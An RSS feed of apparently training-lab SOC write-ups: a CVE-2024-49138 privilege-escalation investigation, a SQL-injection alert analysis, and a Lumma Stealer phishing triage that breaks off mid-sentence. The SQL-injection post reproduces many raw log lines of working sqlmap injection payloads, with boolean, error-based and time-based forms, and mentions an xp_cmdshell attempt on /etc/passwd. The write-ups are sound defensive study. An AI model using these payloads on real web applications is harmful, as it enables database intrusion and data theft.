<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aayatullah Adeyemi on Medium]]></title>
        <description><![CDATA[Stories by Aayatullah Adeyemi on Medium]]></description>
        <link>https://medium.com/@adeyemiaayatullah?source=rss-a9b5ecd42ebd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ygSs_VuUhLPtLZtkHt6rnQ.jpeg</url>
            <title>Stories by Aayatullah Adeyemi on Medium</title>
            <link>https://medium.com/@adeyemiaayatullah?source=rss-a9b5ecd42ebd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:23:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@adeyemiaayatullah/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SOC335 — CVE-2024–49138 Exploitation Detected]]></title>
            <link>https://medium.com/@adeyemiaayatullah/soc335-cve-2024-49138-exploitation-detected-53a6b95412f1?source=rss-a9b5ecd42ebd------2</link>
            <guid isPermaLink="false">https://medium.com/p/53a6b95412f1</guid>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[cybersecurity-training]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[lets-defend]]></category>
            <dc:creator><![CDATA[Aayatullah Adeyemi]]></dc:creator>
            <pubDate>Thu, 01 Oct 2026 05:40:47 GMT</pubDate>
            <atom:updated>2026-10-01T05:44:47.801Z</atom:updated>
            <content:encoded><![CDATA[<pre>EventID : 313<br>Event Time : 2025-01-22T02:37:00+03:00<br>Rule : SOC335 - CVE-2024-49138 Exploitation Detected<br>Role : Security Analyst<br>Alert Type : Privilege Escalation<br>Difficulty :Medium<br>MITRE ATT&amp;CK :T1059.001, T1055,T1068 ,T1548,T1110<br>Hostname : Victor<br>File Hash :b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9<br>Ip Address : 172.16.17.207<br>Process ID : 7640<br>Command Line : \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1<br>Process Name :svohost.exe<br>Process Path : &quot;C:\temp\service_installer\svohost.exe&quot;<br>Process User : EC2AMAZ-ILGVOIN\LetsDefend<br>Device Action : Allowed<br>Parent Process : C:\Windows\System32\WINDOWSPOWERSHELL\V1.0\powershell.exe<br>Trigger Reason :Unusual or suspicious patterns of behavior linked to the hash have been identified, indicating potential exploitation of CVE-2024-49138.<br>Show Hint</pre><p>Step 1- Analysis: As always I started by reviewing the alert details. The rule associated with this alert is SOC335 — CVE-2024–49138 Exploitation Detected and the alert type is <strong>privilege escalation</strong>. I first investigated the vulnerability itself. According to the <strong>National Vulnerability Database (NVD) </strong>the CVE is a Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability. This vulnerability can be exploited by an attacker to achieve privilege escalation.</p><p>We have the hostname, file hash, and IP address from the alert. I’ll first start by reviewing the logs and filtering by the affected IP address and relevant date to identify any related activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJCiAcCfZ8qX1cXhMuT4nw.png" /></figure><p>I identified two types of logs: <strong>OS logs and Firewall logs</strong>. One notable difference between them is the port information. In the OS logs, both the source and destination ports are recorded as 0, while the Firewall logs contain varying source and destination ports. Another notable observation is the repeated presence of the external source address <strong>185.107.56.141</strong>.</p><p>I then reviewed the raw OS logs and observed the following authentication sequence:</p><pre>1. EventID: 4625(An account failed to log on)<br>   Username: admin<br>   Source IP: 185.107.56.141<br>   Error Code: 0xC000006D(Unknown user name or bad password)<br>2. EventID: 4625(An account failed to log on)<br>   Username: admin<br>   Source IP: 185.107.56.141<br>   Error Code: 0xC000006D(Unknown user name or bad password)<br>3. EventID: 4625(An account failed to log on)<br>   Username: guest<br>   Source IP: 185.107.56.141<br>   Error Code: 0xC000006D(Unknown user name or bad password)<br>4. EventID: 4625(An account failed to log on)<br>   Username: guest<br>   Source IP: 185.107.56.141<br>   Error Code: 0xC000006D(Unknown user name or bad password)<br>5. EventID: 4624(An account was successfully logged on.)<br>   Username: Victor<br>   Source IP: 185.107.56.141<br>   Logon Type: 10(RemoteInteractive)</pre><p>The authentication sequence is also <strong>consistent with an attempted brute-force or password-guessing attack</strong>, as the same external IP repeatedly attempted to authenticate using different usernames before successfully logging in as Victor. However, the available events alone do not provide enough evidence to determine whether the attacker guessed the Victor account&#39;s password or whether the successful login was legitimate.</p><p>The combination of repeated failed authentication attempts followed by a successful remote interactive logon warrants further investigation. I will therefore investigate activity associated with the <strong>Victor</strong> account and endpoint following the successful logon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LGMnSbZsyOXrip8qA_7ijg.png" /></figure><p>There are a lot of processes running on the endpoint, so I filtered the process activity around January 22, 2025 at 14:37:59 to focus on what occurred after the command-line activity.</p><p>From the process data, I noticed several legitimate Windows and security-related processes, including services.exe, Windows Defender&#39;s MsMpEng.exe, and MpCmdRun.exe. These processes were running as NT AUTHORITY\SYSTEM, which is expected for Windows services and security components, so their presence alone is not necessarily suspicious.</p><p>However, one process relationship stood out:</p><p>powershell.exe → svohost.exe</p><p>The PowerShell process appears as the parent of svohost.exe, which is significant because the terminal history shows that PowerShell was used to download and extract service-installer.zip and then execute:</p><p>C:\temp\service_installer\svohost.exe</p><p>This creates a direct connection between the PowerShell activity and the suspicious executable identified in the original alert. The executable is also named svohost.exe, which closely resembles the legitimate Windows process svchost.exe, but is located in the unusual directory C:\temp\service_installer\.</p><p>This is more significant than simply seeing an unfamiliar process because the process execution follows a sequence in which PowerShell downloaded an archive from an external S3 URL, extracted its contents using 7-Zip, and launched svohost.exe.</p><p>At this point, I would investigate svohost.exe further by correlating its process ID, file hash, execution privileges, and any child processes or subsequent system activity. This should help determine whether the executable was responsible for the privilege-escalation behavior associated with CVE-2024-49138.</p><p>Next, I investigated the file hash associated with the alert. I initially attempted to filter the endpoint logs for the process using the hash, but I was unable to locate additional process activity through the available logs. I therefore checked the SHA-256 hash against VirusTotal to determine whether the file had previously been identified by security vendors.</p><p>The SHA-256 hash was:</p><p>b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t5kYa_f8CvPAYsiEzW1mjg.png" /></figure><p>VirusTotal identified the file as svohost.exe, matching the executable observed earlier in the endpoint activity. The file was flagged by 44 security engines, providing additional evidence that the executable has previously been identified as malicious or suspicious.</p><p>The file is a 64-bit Windows PE executable with a size of approximately 177.5 KB. Its metadata indicates that it was compiled using Microsoft Visual C/C++ and Visual Studio 2022.</p><p>One particularly notable finding was the presence of clfsw32.dll in the executable&#39;s imports. Since CVE-2024-49138 affects the Windows Common Log File System (CLFS) driver, this import provides relevant context for the investigation. However, the presence of the DLL alone does not prove that the executable successfully exploited the vulnerability, so I will need to correlate it with the process behavior and other endpoint evidence.</p><p>The file’s name, svohost.exe, is also notable because it closely resembles the legitimate Windows process svchost.exe. More importantly, the executable was located at C:\temp\service_installer\svohost.exe and was launched by PowerShell after the executable was downloaded from an external S3 URL.</p><p>The timeline is also relevant. VirusTotal reports a file creation timestamp of January 16, 2025, and a first submission date of January 17, 2025, while the suspicious activity on the Victor endpoint occurred on January 22, 2025. This indicates that the file had already been observed by VirusTotal before it was executed during this investigation.</p><p>At this point, multiple pieces of evidence are beginning to correlate: the suspicious remote authentication activity, PowerShell execution, download and extraction of the service installer, execution of svohost.exe, the matching SHA-256 hash, the high number of security-engine detections, and the executable&#39;s CLFS-related import. I will next examine the process activity surrounding svohost.exe to determine what occurred after its execution and whether there is evidence of privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NT7K2273S9R3f05DYxbQEw.png" /></figure><p>I then examined the process that triggered the alert and the processes created around the same time. The alert shows that the device action was <strong>Allowed</strong>, meaning the suspicious process was permitted to execute on the endpoint.</p><p>The process chain provided important evidence:</p><p>explorer.exe → powershell.exe → svohost.exe → powershell.exe</p><p>The first PowerShell process was running under the Victor account and launched:</p><p>C:\temp\service_installer\svohost.exe</p><p>The svohost.exe process had the same SHA-256 hash identified in the alert and was also running under the Victor account. This directly connects the previously observed PowerShell download and execution activity to the process that triggered the SOC335 alert.</p><p>The most significant finding occurred after svohost.exe executed. A subsequent PowerShell process had svohost.exe listed as its parent process, but its process user was:</p><p>NT AUTHORITY\SYSTEM</p><p>This represents a significant change in security context. The suspicious executable was initially executed by the Victoraccount, but it subsequently spawned a PowerShell process running with SYSTEM privileges. In the context of an alert for CVE-2024-49138, which is a local privilege-escalation vulnerability, this behavior is consistent with a successful privilege escalation.</p><p>The available telemetry does not establish exactly how the SYSTEM privileges were obtained, so I would not attribute the escalation solely to CVE-2024–49138 based on the process relationship alone. However, the combination of the executable’s association with the CVE, its matching malicious hash, the execution chain, and the subsequent SYSTEM-level PowerShell process provides strong evidence that svohost.exe was involved in privilege-escalation activity.</p><p>I also observed several Windows Defender processes running as SYSTEM around the same period. These included MsMpEng.exe and MpCmdRun.exe. Their presence appears consistent with normal Windows Defender activity and is not, by itself, evidence of the attack.</p><p>At this point, the process telemetry provides the strongest evidence so far that the activity progressed beyond simple file execution and resulted in a SYSTEM-level process being created.</p><p><strong>Investigation Findings:</strong></p><p>From my investigation, I was able to identify the following:</p><p><strong>Threat Indicator:</strong><br>Malicious svohost.exe executable associated with privilege escalation. The executable had a known malicious SHA-256 hash, was executed from the unusual directory C:\temp\service_installer\, and subsequently spawned a PowerShell process running as NT AUTHORITY\SYSTEM.</p><p><strong>Malware Status:</strong><br>The malicious executable was not quarantined and was allowed to execute on the endpoint.</p><p><strong>Malware Reputation:</strong><br>The SHA-256 hash was identified by multiple security engines on VirusTotal, with 44 engines flagging the file.</p><p><strong>Privilege Escalation:</strong><br>The suspicious executable, initially running under the Victor account, spawned a PowerShell process running with SYSTEM privileges. This is consistent with successful local privilege escalation.</p><p><strong>C2 Activity:</strong><br>The endpoint accessed an address associated with the malicious activity.</p><h3>Impact</h3><p>The activity resulted in the execution of a malicious executable on the Victor endpoint and the creation of a SYSTEM-level PowerShell process. This indicates that the activity progressed beyond simple file execution and resulted in elevated execution privileges on the affected host.</p><p>Based on the available telemetry, there is evidence of unauthorized access and privilege escalation on the endpoint. However, the available evidence does not establish whether additional systems or sensitive data were compromised.</p><h3>Containment</h3><ul><li>Disable or suspend the Victor account and terminate active sessions.</li><li>Isolate the affected computer from the network to prevent further unauthorized activity or potential lateral movement.</li><li>Remove the malicious files and associated payloads after preserving relevant forensic evidence.</li><li>Reset Victor’s credentials and enable MFA/2FA where supported.</li><li>Review the endpoint for additional persistence mechanisms and signs of lateral movement.</li></ul><h3>Lessons Learned</h3><ul><li>Implement MFA to reduce the risk of account compromise through password guessing or credential attacks.</li><li>Implement account lockout, throttling, or detection rules for repeated authentication attempts against multiple accounts from the same source IP.</li><li>Inspect and monitor executable files downloaded from external sources, particularly when they are subsequently launched through PowerShell.</li><li>Monitor suspicious process chains in which user-level processes spawn processes running under NT AUTHORITY\SYSTEM.</li><li>Monitor for executable names that closely resemble legitimate Windows processes but execute from unusual directories.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=53a6b95412f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC127 — SQL Injection Detected]]></title>
            <link>https://medium.com/@adeyemiaayatullah/soc127-sql-injection-detected-70eae333a03a?source=rss-a9b5ecd42ebd------2</link>
            <guid isPermaLink="false">https://medium.com/p/70eae333a03a</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[lets-defend]]></category>
            <dc:creator><![CDATA[Aayatullah Adeyemi]]></dc:creator>
            <pubDate>Tue, 29 Sep 2026 17:48:10 GMT</pubDate>
            <atom:updated>2026-09-29T17:48:10.513Z</atom:updated>
            <content:encoded><![CDATA[<pre>EventID :235<br>Event Time :2024-03-07T12:51:45+03:00<br>Rule :SOC127 - SQL Injection Detected<br>Role : Security Analyst<br>Alert Type :Web Attack<br>Difficulty :Medium<br>MITRE ATT&amp;CK :T1595, T1133, T1190, T1552.001<br>Request URL: {Left blank to avoid being flagged}<br>Device Action :Allowed<br>Source Address :118.194.247.28<br>Destination Address : 172.16.20.12<br>Destination Hostname :WebServer1000<br></pre><p><strong>Triage:</strong></p><p>Step 1-Analysis: According to the alert, the event occurred at 2024–03–07T12:51:45+03:00, and it seems like a web attack. The attack rule stated that it was a SQL injection detected, and the device action was allowed. The first thing I’d do is analyze the logs, starting with the source address and correlating it with the date.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BpjVvYAsdhkQMTEhBCtbdA.png" /></figure><p>The first thing I noticed is that the log started an hour after the incident was flagged at 3:56:01. The destination address remained consistent but different destination and source ports. In addition to that, there were two types: Proxy and Firewall.</p><p>This part is just me analyzing the logs, so feel free to move to if you don’t want to get bored analyzing over 20 logs.</p><blockquote>Raw Data: 118.194.247.28 — — [07/Mar/2024:12:50:47 +0000] “GET / HTTP/1.1” 200 902 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36”</blockquote><p>This shows that the source sent a HTTP get request to the root path /. The server returned a status 200 which means that the request was successful and the requested resource was successfully returned. “-” <strong>no referring page (HTTP Referer) </strong>was included. The user agent string “Mozilla/5.0 (Windows NT 10.0; Win64; x64)” indicates that the request came from chrome 122 running on a 64 bit windows system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XqZnUDERejp5JxjvZmsQqA.png" /></figure><p>Moving on, most of the proxy was to port 80, which is the TCP port for transferring data between web servers and browsers.</p><blockquote>Raw Data: 118.194.247.28 — — [07/Mar/2024:12:51:44 +0000] “GET / HTTP/1.1” 200 865 “-” “sqlmap/1.7.2#stable (https://sqlmap.org)&quot;</blockquote><p>In this log, the source IP <strong>118.194.247.28</strong> sent an HTTP <strong>GET</strong> request to the root path /. The server returned a <strong>200 status code</strong>, indicating that the request was successfully processed. The main change from the previous log is the User-Agent string, which identifies the client as <strong>sqlmap version 1.7.2</strong>. Sqlmap is an automated tool commonly used to test web applications for SQL injection vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fazMM0fsK8pUhgfhz3aJjQ.png" /></figure><p>This next log shows a url request that is URL-encoded. The decoding of this URL is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rFlx46CKqAxALBUyU6hQzw.png" /></figure><p>The source IP <strong>118.194.247.28</strong> sent an HTTP <strong>GET</strong> request to the root path / with a heavily modified douj parameter. The parameter contains a combination of SQL injection and command-execution payloads. The request attempts to use UNION ALL SELECT and query information_schema.tables to retrieve database table information. It also contains an XSS payload and an attempt to use xp_cmdshell to execute the command catwhich attempts to read the Linux /etc/passwd file. The server returned a <strong>200 status code</strong>, meaning that it successfully returned an HTTP response. However, the 200 status code <strong>does not confirm that any of the attempted attacks were successful</strong>. The User-Agent again identifies the client as <strong>sqlmap 1.7.2</strong>, supporting the indication that this was automated security testing or exploitation activity.</p><p>The next logs are php requests so they will be grouped</p><pre>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:07 +0000] &quot;GET /index.php?id=1%27QaEOtG%3C%27%22%3EPRVoKd HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:07 +0000] &quot;GET /index.php?id=1%22%29.%28%2C%28%2C%27.%28 HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:08 +0000] &quot;GET /index.php?id=1%20AND%209816%3D9452 - %20bkmh HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:08 +0000] &quot;GET /index.php?id=%28SELECT%20%28CASE%20WHEN%20%284611%3D4629%29%20THEN%201%20ELSE%20%28SELECT%204629%20UNION%20SELECT%206288%29%20END%29%29 HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:08 +0000] &quot;GET /index.php?id=1%20AND%209816%3D9452 - %20bkmh HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:09 +0000] &quot;GET /index.php?id=1%20AND%20EXTRACTVALUE%287321%2CCONCAT%280x5c%2C0x716b6b7671%2C%28SELECT%20%28ELT%287321%3D7321%2C1%29%29%29%2C0x71707a6a71%29%29 HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:09 +0000] &quot;GET /index.php?id=1%29%20AND%202574%3DCAST%28%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%282574%3D2574%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%289806%3D9806 HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:10 +0000] &quot;GET /index.php?id=1%27%20AND%202574%3DCAST%28%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%282574%3D2574%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%27qQpG%27%3D%27qQpG HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:13 +0000] &quot;GET /index.php?id=1%20AND%202924%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%282924%3D2924%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%7C%7CCHR%2862%29%29%29%20FROM%20DUAL%29 - %20uVLy HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:13 +0000] &quot;GET /index.php?id=1%20AND%202924%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%282924%3D2924%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%7C%7CCHR%2862%29%29%29%20FROM%20DUAL%29 - %20uVLy HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:15 +0000] &quot;GET /index.php?id=1%29%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28104%29%7C%7CCHR%2897%29%7C%7CCHR%28109%29%7C%7CCHR%2877%29%2C5%29%20FROM%20DUAL - HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:15 +0000] &quot;GET /index.php?id=1%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27 - HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:13 +0000] &quot;GET /index.php?id=1%29%3BSELECT%20PG_SLEEP%285%29 - HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:13 +0000] &quot;GET /index.php?id=%28SELECT%20CONCAT%28CONCAT%28%27qkkvq%27%2C%28CASE%20WHEN%20%289638%3D9638%29%20THEN%20%271%27%20ELSE%20%270%27%20END%29%29%2C%27qpzjq%27%29%29 HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:15 +0000] &quot;GET /index.php?id=1%3BWAITFOR%20DELAY%20%270%3A0%3A5%27 - HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;<br>Raw Data: 118.194.247.28 - - [07/Mar/2024:12:53:16 +0000] &quot;GET /index.php?id=1%29%20AND%20%28SELECT%207566%20FROM%20%28SELECT%28SLEEP%285%29%29%29rMVR%29%20AND%20%285961%3D5961 HTTP/1.1&quot; 200 865 &quot;-&quot; &quot;sqlmap/1.7.2#stable (https://sqlmap.org)&quot;</pre><p>These logs show the source IP <strong>118.194.247.28</strong> repeatedly sending GET requests to /index.php while modifying the idparameter. The User-Agent identifies the client as <strong>sqlmap 1.7.2</strong>, indicating that the requests are being generated by an automated SQL injection testing tool.</p><p>The requests contain multiple SQL injection techniques, including boolean-based conditions, error-based functions such as EXTRACTVALUE, database-specific functions such as WAITFOR DELAY, PG_SLEEP, SLEEP, DBMS_PIPE.RECEIVE_MESSAGE, and other SQL expressions. Sqlmap appears to be testing the application to determine whether the id parameter is vulnerable to SQL injection and potentially identifying which database management system is being used.</p><p>All of these requests received an HTTP <strong>200 status code</strong> with the same response size of <strong>865 bytes</strong>. This confirms that the server returned a response to each request, but the 200 status code alone does not prove that any of the SQL injection attempts were successful.</p><p>Based on the logs reviewed, the attacker initially sent requests to the root path / to interact with the web application. The attacker then began modifying requests and targeting the id parameter in /index.php. The requests contained multiple automated SQL injection techniques designed to test the application&#39;s response, identify the underlying database technology, and determine whether the parameter was vulnerable to SQL injection. The attacker also attempted payloads involving database enumeration, XSS, command execution, and time-based SQL injection.</p><p>ii. Next I will analyze the source IP to determine the IP ownership. For this step, I will be searching with <strong>VirusTotal, AbuseIPDB </strong>and <strong>Cisco Talos.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lMQhMe77c3dK4-dN_INB4g.png" /></figure><p>VirusTotal reports that 9 of 91 security vendors flagged the IP as malicious or associated with suspicious activity. The IP belongs to AS4808 (China Unicom Beijing Province Network) and is geolocated to China. Several vendors classify it as malicious, phishing-related, or malware-related. This reputation information provides additional context for the source IP. Combined with the proxy logs showing repeated automated SQL injection attempts using sqlmap 1.7.2, the source warrants further investigation. However, IP reputation alone does not establish the attacker’s identity or prove that the SQL injection was successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fFaBWqBlZcmZD6rcL0Eqg.png" /></figure><h3>2. Impact</h3><p>We can identify the attack path as:<br><strong>Attacker:</strong> 118.194.247.28<br>↓<br><strong>TCP port 80 (HTTP)</strong><br>↓<br><strong>Web application / WebServer1000</strong><br>↓<br><strong>/index.php?id=...</strong><br>↓<br><strong>sqlmap SQL injection testing</strong></p><p>The attacker sent multiple SQL injection payloads targeting the id parameter, including boolean-based, error-based, and time-based SQL injection techniques. The requests received HTTP 200 responses, indicating that the web server successfully processed the requests. According to the investigation methodology for this alert, this indicates that the SQL injection requests were successfully processed/forwarded toward the database.</p><p>I attempted to investigate the affected endpoint, 172.16.20.12 (WebServer1000), through Endpoint Security to determine the extent of the impact. However, the device was not available in Endpoint Security, so I could not review its Command History or perform additional endpoint-level investigation.</p><p>Therefore, while the SQL injection activity was considered successful based on the available HTTP response evidence, the available logs do not establish what data, if any, was returned by the database or whether the attacker successfully executed commands on the underlying operating system.</p><h3>Investigation Findings</h3><ul><li><strong>Malicious Traffic:</strong> Confirmed</li><li><strong>Attack Type:</strong> SQL Injection</li><li><strong>Source IP:</strong> 118.194.247.28</li><li><strong>Destination:</strong> 172.16.20.12 / WebServer1000</li><li><strong>Traffic Direction:</strong> Internet → Company Network</li><li><strong>Automated Tool:</strong> sqlmap 1.7.2</li><li><strong>Attack Successful:</strong> Yes, based on the lab’s HTTP-response methodology</li><li><strong>Tier 2 Escalation:</strong> Yes</li><li><strong>Planned Pentest:</strong> No evidence that this activity was part of a planned penetration test was identified during the investigation.</li></ul><h3>MITRE ATT&amp;CK Techniques</h3><p>The alert associated the activity with the following MITRE ATT&amp;CK techniques:</p><ul><li><strong>T1595 — Active Scanning</strong></li><li><strong>T1133 — External Remote Services</strong></li><li><strong>T1190 — Exploit Public-Facing Application</strong></li><li><strong>T1552.001 — Unsecured Credentials: Credentials In Files</strong></li></ul><p>The observed SQL injection activity is particularly relevant to <strong>T1190 — Exploit Public-Facing Application</strong>, as the attacker targeted a publicly accessible web application with crafted requests.</p><h3>Lesson Learned</h3><p>The investigation demonstrated the importance of distinguishing between <strong>attack success and confirmed impact</strong>. The HTTP 200 responses provided evidence that the SQL injection requests were successfully processed, but additional endpoint/database telemetry would be required to determine what the attacker ultimately achieved, such as data extraction or operating-system command execution.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70eae333a03a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC338 — Lumma Stealer — DLL Side-Loading via Click Fix Phishing]]></title>
            <link>https://medium.com/@adeyemiaayatullah/soc338-lumma-stealer-dll-side-loading-via-click-fix-phishing-8d9d2b21a6b6?source=rss-a9b5ecd42ebd------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d9d2b21a6b6</guid>
            <category><![CDATA[soc-training]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[clickfix]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[lets-defend]]></category>
            <dc:creator><![CDATA[Aayatullah Adeyemi]]></dc:creator>
            <pubDate>Fri, 18 Sep 2026 20:08:00 GMT</pubDate>
            <atom:updated>2026-09-29T17:43:45.605Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>EventID : </em></strong><em>316</em></p><p><strong><em>Event Time : </em></strong><em>2025–03–13T09:44:00+03:00</em></p><p><strong><em>Rule : </em></strong><em>SOC338 — Lumma Stealer — DLL Side-Loading via Click Fix Phishing</em></p><p><strong><em>Role : </em></strong><em>Security Analyst</em></p><p><strong><em>Alert Type : </em></strong><em>Data Leakage</em></p><p><strong><em>Difficulty : </em></strong><em>Medium</em></p><p><strong><em>MITRE ATT&amp;CK :</em></strong><em>T1059T1059.001T1204T1204.001T1574T1574.002T1027T1105</em></p><p><strong><em>SMTP Address : </em></strong><em>132.232.40.201</em></p><p><strong><em>Device Action : </em></strong><em>Allowed</em></p><p><strong><em>E-mail Subject : </em></strong><em>Upgrade your system to Windows 11 Pro for FREE</em></p><p><strong><em>Source Address : </em></strong><em>update@windows-update.site</em></p><p><strong><em>Trigger Reason : </em></strong><em>Redirected site contains a click fix type script for Lumma Stealer distribution.</em></p><p><strong><em>Destination Address : </em></strong><em>dylan@letsdefend.io</em></p><p><strong>Step 1: Triage</strong></p><p>As always, we will start by triaging the alert. We can better understand the log by reading the description. The alert type listed <strong>Data Leakage,</strong> so I read up a bit on that. According to IBM, Data leakage occurs when sensitive information is unintentionally exposed to unauthorized parties.</p><p>Next the rule mentioned <em>DLL Side-Loading via Click Fix Phishing. </em>I found an article published by Microsoft that included a detailed explanation of the phishing method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z47RN6toarSFNn0Ev4Ko_Q.png" /></figure><p>In addition to that, the trigger reason was stated as <strong><em>Redirected site contains a click fix type script for Lumma Stealer distribution. </em></strong><em>I looked up </em><strong><em>Lumma Stealer distribution </em></strong><em>and </em>found out that it is a malware strain designed to trick users into running its payload. This includes leaking sensitive data like browser information and passwords.</p><p>Since the device action stated that it was allowed, I will pay more attention to the attack progress to determine if it is a true 